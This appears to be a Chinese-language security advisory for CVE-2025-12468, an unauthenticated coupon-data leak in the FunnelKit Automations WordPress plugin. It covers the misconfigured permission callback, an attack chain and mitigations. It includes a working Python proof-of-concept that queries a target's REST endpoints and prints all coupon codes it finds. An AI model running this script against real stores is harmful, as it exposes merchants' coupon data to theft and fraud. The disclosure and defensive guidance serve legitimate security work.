IPBUF安全漏洞报告
English
CVE-2025-12468 CVSS 5.3 中危

CVE-2025-12468 WordPress FunnelKit Automations 未授权敏感信息泄露漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-12468
漏洞类型
敏感信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FunnelKit Automations – Email Marketing Automation and CRM for WordPress & WooCommerce

相关标签

CVE-2025-12468敏感信息泄露WordPress插件漏洞REST API漏洞未授权访问FunnelKit AutomationsWooCommerce优惠券泄露CVSS 5.3中危漏洞

漏洞概述

FunnelKit Automations是WordPress和WooCommerce的一个流行的营销自动化和CRM插件。该插件在3.6.4.1及之前的所有版本中存在一个严重的安全漏洞,由于REST API端点'/wc-coupons/'被错误配置为公开API(public_api = true),且使用了permission_callback => '__return_true'进行注册,导致所有认证和权限检查被完全绕过。这一配置缺陷使得未经身份验证的攻击者可以通过访问该API端点获取WooCommerce商店中所有优惠券的敏感信息,包括优惠券代码、优惠券ID以及过期状态等机密数据。攻击者可以利用这些信息进行进一步的攻击,如利用过期优惠券进行欺诈活动或收集目标网站的商业情报。由于该漏洞影响范围广且利用门槛极低,建议所有使用该插件的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于FunnelKit Automations插件的API权限配置错误。在文件includes/api/wc/class-bwfan-api-wc-coupons.php中,端点被标记为public_api = true。随后在includes/class-bwfan-api-loader.php中,这类公开API端点被统一注册为permission_callback => '__return_true',这意味着无论请求者是否登录,都会返回true,允许访问。攻击者只需构造一个简单的HTTP GET请求到/wp-json/wc-coupons/或类似端点,即可无需任何认证获取所有优惠券数据。返回的数据通常为JSON格式,包含coupon_code、coupon_id、expiration_date等敏感字段。由于WordPress REST API默认启用,攻击者可以在短时间内批量抓取目标站点的所有优惠券信息。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站是否使用WordPress和FunnelKit Automations插件
STEP 2
步骤2
攻击者直接向目标站点的REST API端点发送未经认证的HTTP GET请求到/wc-coupons/
STEP 3
步骤3
由于插件将端点配置为public_api=true且permission_callback设为__return_true,系统绕过所有认证检查
STEP 4
步骤4
API返回包含所有WooCommerce优惠券的JSON数据,包括coupon_code、coupon_id、expiration_date等敏感信息
STEP 5
步骤5
攻击者收集所有优惠券代码和ID,可用于后续的欺诈活动或商业情报收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12468 PoC - FunnelKit Automations Unauthenticated Coupon Data Exposure # Target: WordPress site with FunnelKit Automations plugin <= 3.6.4.1 def exploit_cve_2025_12468(target_url): """ Exploit for CVE-2025-12468: Unauthenticated access to WooCommerce coupon data via FunnelKit Automations REST API endpoint /wc-coupons/ This vulnerability allows attackers to retrieve all coupon codes, IDs, and expiration status without any authentication. """ # Try common REST API endpoints for FunnelKit wc-coupons endpoints = [ f"{target_url}/wp-json/wc-coupons/", f"{target_url}/wp-json/wc/v1/coupons/", f"{target_url}/?rest_route=/wc-coupons/", f"{target_url}/?rest_route=/wc/v1/coupons/" ] print("[*] CVE-2025-12468 - FunnelKit Automations Coupon Data Exposure") print(f"[*] Target: {target_url}") print("=" * 60) for endpoint in endpoints: try: print(f"\n[*] Testing endpoint: {endpoint}") # Send unauthenticated GET request response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f"[!] VULNERABLE! Endpoint returned data without authentication") print(f"[*] Status Code: {response.status_code}") try: data = response.json() print(f"[*] Coupon Data Retrieved:") print(json.dumps(data, indent=2)) # Extract coupon codes for further analysis if isinstance(data, list): coupon_codes = [item.get('code', 'N/A') for item in data] print(f"\n[*] Found {len(coupon_codes)} coupon codes:") for code in coupon_codes: print(f" - {code}") except json.JSONDecodeError: print(f"[*] Response (non-JSON): {response.text[:500]}") return True else: print(f"[*] Status Code: {response.status_code} - Not vulnerable or endpoint not found") except requests.RequestException as e: print(f"[!] Error accessing endpoint: {e}") print("\n[*] No vulnerable endpoints found") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-12468.py <target_url>") print("Example: python cve-2025-12468.py https://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_12468(target)

影响范围

FunnelKit Automations (wp-marketing-automations) <= 3.6.4.1

防御指南

临时缓解措施
在等待官方更新期间,可以采取以下临时缓解措施:1)使用WordPress安全插件(如Wordfence)阻止对/wc-coupons/端点的未授权访问;2)通过.htaccess或Nginx配置限制REST API的访问来源;3)暂时禁用FunnelKit Automations插件;4)监控服务器日志以检测潜在的漏洞利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表